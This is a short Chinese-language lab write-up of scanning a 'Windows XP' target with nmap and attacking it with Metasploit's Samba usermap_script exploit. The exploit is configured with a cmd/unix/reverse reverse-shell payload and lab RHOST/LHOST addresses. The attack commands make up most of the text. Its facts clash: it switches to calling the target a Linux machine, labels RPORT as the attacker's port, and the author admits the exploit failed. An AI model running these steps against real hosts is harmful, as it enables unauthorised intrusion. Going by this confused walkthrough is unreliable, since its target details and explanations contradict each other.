1. 前期准备

靶机：Windows XP
攻击机：Kali2021

Windows XP的IP为192.168.92.135

2. 扫描靶机是否开启445端口

nmap -sS 192.168.92.135

此步就是收集主机的信息，得知445端口开放，就可以利用基于该端口的相关漏洞。

3.利用

本篇参考Samba 3.x服务进行漏洞利用

search samba

找到包含smaba的相关利用模块

Samba是在Linux和UNIX系统上实现SMB（Server Message Block，信息服务块）协议的一款免费软件。SMB是一种在局域网上共
享文件和打印机的通信协议，它在局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。

然后选择Rank为excellent并且时间较新的加以利用，以提高渗透成功率
本次利用选择的是13号
use exploit/multi/samba/usermap_script

show payloads

因为目标是Linux机器，一定要选择Linux的攻击载荷，而且不是每个都有用的，可以一个个尝试一下

set payload cmd/unix/reverse

受害主机IP：set RHOST 192.168.92.135
攻击主机IP：set LHOST 192.168.92.131
攻击端口：set RPORT 445

我这边复现失败了
尝试别的exploit或者payload也不太行，但这里主要是把过程过一遍，和永恒之蓝的利用步骤完全一样